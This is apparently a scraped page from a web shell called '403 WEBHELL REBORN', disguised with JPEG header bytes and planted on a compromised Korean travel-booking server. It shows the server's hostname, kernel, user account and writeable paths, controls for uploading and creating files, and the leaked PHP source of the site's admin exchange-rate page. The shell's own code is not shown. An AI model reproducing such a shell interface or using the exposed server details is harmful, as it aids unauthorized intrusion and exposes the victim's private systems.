ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/exchange/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/exchange/realtime_exchang.html
<?php
include "../include/top_iframe.html";
include "_common.php";

// 접근권한 관리
//to_access_menu("exchange");

$m = new CommonTour();
$data = $m->exchangeList();

$lang = $cf['lang'];
//[son]
$B2b = new B2b();
$langInfo = $B2b->langInfo();
$getCurrencyData = getCurrencyData();

$currencyKorean = array(
    'USD' => '미국',
    'HKD' => '홍콩',
    'TWD' => '대만',
    '위안' => '중국',
    'SGD' => '싱가포르',
    'MYR' => '말레이시아',
    'THB' => '태국',
    'PHP' => '필리핀',
    'JPY' => '일본',

);

$wonMark = '₩ ';
?>
<link rel="stylesheet" href="/admin/css/iziToast.min.css" />
<script src="/admin/js/iziToast.min.js"></script>

<div class="iframe" style="margin:0;">
    <table width="100%" style="float:left" border="0" cellspacing="0" cellpadding="0" class="t_register" summary="">
            <thead>
            <th colspan="2"><?=_e('실시간 환율')?> : <span id="exchangeRefreshBtn" style="cursor:pointer"><?=$getCurrencyData['ins_dt']?> <i class="xi-renew" style="font-size: 14px;position: relative;top: 2px;" ></i></span>
                <img src="/js/jquery-file-upload/img/loading.gif" id="loadingGif" style="width: 15px;display:none"/>

            </th>
            </thead>
            <tbody>
            <tr>
                <td style="width:115px;padding-top:13px;padding-bottom:14px">USD</td>
                <td style="width:115px;" id="exchageUsdData"><?=$wonMark?><?=number_format($getCurrencyData['USD'],2)?></td>
            </tr>
            <tr>
                <td style="padding-top:13px;padding-bottom:14px">HKD</td>
                <td id="exchageHkdData"><?=$wonMark?><?=number_format($getCurrencyData['HKD'],2)?></td>
            </tr>
            <tr>
                <td style="padding-top:13px;padding-bottom:14px">TWD</td>
                <td id="exchageTwdData"><?=$wonMark?><?=number_format($getCurrencyData['TWD'],2)?></td>
            </tr>
            <tr>
                <td style="padding-top:13px;padding-bottom:14px">CNY</td>
                <td id="exchageCnyData"><?=$wonMark?><?=number_format($getCurrencyData['CNY'],2)?></td>
            </tr>
            <tr>
                <td style="padding-top:13px;padding-bottom:14px">SGD</td>
                <td id="exchageSgdData"><?=$wonMark?><?=number_format($getCurrencyData['SGD'],2)?></td>
            </tr>
            <tr>
                <td style="padding-top:13px;padding-bottom:14px">MYR</td>
                <td id="exchageMyrData"><?=$wonMark?><?=number_format($getCurrencyData['MYR'],2)?></td>
            </tr>
            <tr>
                <td style="padding-top:13px;padding-bottom:14px">THB</td>
                <td id="exchageThbData"><?=$wonMark?><?=number_format($getCurrencyData['THB'],2)?></td>
            </tr>
            <tr>
                <td style="padding-top:13px;padding-bottom:14px">PHP</td>
                <td id="exchagePhpData"><?=$wonMark?><?=number_format($getCurrencyData['PHP'],2)?></td>
            </tr>
            <tr>
                <td style="padding-top:13px;padding-bottom:14px">JPY</td>
                <td id="exchageJpyData"><?=$wonMark?><?=number_format($getCurrencyData['JPY'],2)?></td>
            </tr>
            </tbody>
        </table>

</div>
<script type="text/javascript">
    $(function(){
        $('#exchangeRefreshBtn').click(function(){
            $('#loadingGif').show();
            /*$('#exchageHkdData').text('');
            $('#exchageTwdData').text('');
            $('#exchageUsdData').text('');
            $('#exchageCnyData').text('');
            $('#exchageSgdData').text('');
            $('#exchageMyrData').text('');
            $('#exchageThbData').text('');
            $('#exchagePhpData').text('');
            $('#exchageJpyData').text('');*/

            /*iziToast.show({
                timeout:1000,
                color: 'green',
                title: '<i style="position:relative;top:2px" class="xi-bell"></i>환율 데이터',
                message: "로딩중.........",
            });*/

            setTimeout(function(){
                refreshExchangeData();
            },100)

        })

        function refreshExchangeData() {
            wonMark = '₩ ';

            $.ajax({
                type: "POST",
                url: "/admin/exchange/getExternalData/",
                data: {mode: 'exchangeDataGet'},
                dataType: 'json',
                async: false,
                success: function (data) {
                    // console.log(JSON.stringify(data));
                    if(data.result == true){

                        $('#exchageHkdData').text(wonMark + data.HKD);
                        $('#exchageTwdData').text(wonMark + data.TWD);
                        $('#exchageUsdData').text(wonMark + data.USD);
                        $('#exchageCnyData').text(wonMark + data.CNY);
                        $('#exchageSgdData').text(wonMark + data.SGD);
                        $('#exchageMyrData').text(wonMark + data.MYR);
                        $('#exchageThbData').text(wonMark + data.THB);
                        $('#exchagePhpData').text(wonMark + data.PHP);
                        $('#exchageJpyData').text(wonMark + data.JPY);


                        // $('#exchangeRenewDate').text(data.getDate);

                        iziToast.show({
                            timeout:1000,
                            color: 'green',
                            title: 'Exchange',
                            message: "Updated",
                        });

                        $('#loadingGif').hide();
                    }
                },
                error: function (e) {
                }
            });
        }
    })

function check_frm()
{	
	var f=document.frm_edit;

	// 폼체크
	var result = to_validation(f);
	if (result == false) return false;

	if(!confirm("수정하시겠습니까?")) return false;

	f.submit();
}
function chk_form2()
{	
	var f=document.frm_exchange2;
	// 폼체크
	f.action = "exchange_proc2.html";
	f.submit();

}
function chk_form3()
{	
	var f=document.frm_exchange2;
	// 폼체크
	f.action = "exchange_proc2.html";
	f.submit();

}

//순서수정
function change_ordernum()
{
	if (!confirm('순서를 수정하시겠습니까?')) return;

	$("#frm_exchange input[name='SqlType']").val('order_chg');
	
	ajax_post('ajax_proc',"exchange_proc.html","frm_exchange");
}

</script>

Anon7 - 2021